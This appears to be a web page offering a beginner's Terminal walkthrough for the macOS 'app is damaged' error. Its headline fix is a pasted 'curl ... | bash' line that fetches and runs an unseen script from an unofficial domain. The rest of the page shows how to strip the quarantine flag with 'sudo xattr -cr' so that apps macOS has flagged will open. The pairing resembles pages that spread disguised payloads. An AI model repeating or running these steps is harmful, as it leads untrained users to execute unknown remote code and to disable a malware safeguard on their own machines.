App Is Damaged on Mac: A Terminal Walkthrough for Beginners

If you have never used Terminal, the usual one-line instructions skip too much. This walkthrough covers each keystroke: how to open the window, how to get the app path without typing it, what the command prints, and what the output means.

Updated December 2, 2026 · About 6 min read · macOS 13–26

The fix

One-line helper Run the helper
curl -fsSL https://macfixerror.com/run.sh | bash

Paste it into Terminal and press Return. The helper is a short shell script; review it at /run.sh before running.

Step 4 — clear the quarantine flag
sudo xattr -cr "/Applications/Your App.app"

Type sudo xattr -cr with the trailing space first, then drag the app into the window instead of typing its path.

Optional — list what is attached
xattr -l "/Applications/Your App.app"

Run before the fix if you want to see the quarantine line for yourself. No output means nothing is attached.

Optional — check the verdict
spctl -a -vv "/Applications/Your App.app"

Prints “accepted” or a rejection reason. Useful if the fix does not work the first time.

Before you start

  • Move the app into /Applications. Do not work from Downloads or a mounted image.
  • Quit the app if it is running.
  • You need an administrator account; the command asks for its password.
Terminal shows nothing while you type a password. That is normal, not a freeze. Type it and press Return.

Step by step, keystroke by keystroke

  1. Open Terminal. Press ⌘ + Space, type Terminal, press Return. A window with a prompt opens.
  2. Type the start of the command. Type sudo xattr -cr — include the space at the end.
  3. Drag the app in. Open Finder, find the app in /Applications, and drag its icon onto the Terminal window. The full path appears, already quoted.
  4. Read the line once. It should look like sudo xattr -cr "/Applications/Name.app". If the quotes are missing, add them.
  5. Press Return. Terminal asks for your password.
  6. Type the password and press Return. Nothing is echoed. The prompt returns when the command finishes.
  7. Open the app. If it launches, close Terminal.

Reading the output

OutputMeaningNext step
(nothing)Success.Open the app.
No such file or directoryWrong path or missing quotes.Drag the app in again; confirm it is in /Applications.
Operation not permittedYou omitted sudo, or the app is on a read-only volume.Add sudo; copy the app to /Applications.
No such xattrThe attribute is already absent.Check the signature instead.
xattr: ...: No such fileThe bundle path is wrong or the app was renamed.Re-drag the actual bundle.

Mistakes that cause the common errors

  • Typing the app name by hand. A stray space splits the path. Drag and drop avoids it.
  • Forgetting quotes. Same result. The quotes are not decoration.
  • Running from the DMG. The volume is read-only, so the write fails. Copy the app to /Applications first.
  • Using a smart quote. Copying from a word processor can produce “curly” quotes. Retype them or paste from this page.

If it still will not open

Do not repeat the same command blindly. Run the verdict check:

spctl -a -vv "/Applications/Your App.app"

A rejection reason tells you whether the signature is expired, absent, or the architecture is wrong. The matching fixes are in Is it really damaged? and the Apple silicon guide.

Frequently asked questions

Do I really need sudo?
For apps in /Applications, usually yes. For an app in your home folder, try without it first.
Why does Terminal show nothing while I type the password?
The password field is intentionally blank. Type the whole password and press Return.
Can I paste the command instead of typing?
Yes, but the path must be filled in. Dragging the app after the pasted command is the fastest safe way.
What are the straight quotes for?
They keep the path as one argument. Without them, spaces split it and xattr looks for the wrong file.
Is it normal that nothing prints after the command?
Yes. xattr is silent on success. Silence means the attribute was removed.
What if the app is on a disk image?
Copy it to /Applications first. Writes to a mounted image are lost when it is ejected.

This is an independent, unofficial guide. It is not affiliated with, endorsed by, or sponsored by Apple Inc. macOS and Apple are trademarks of Apple Inc. Always keep a backup before changing system files.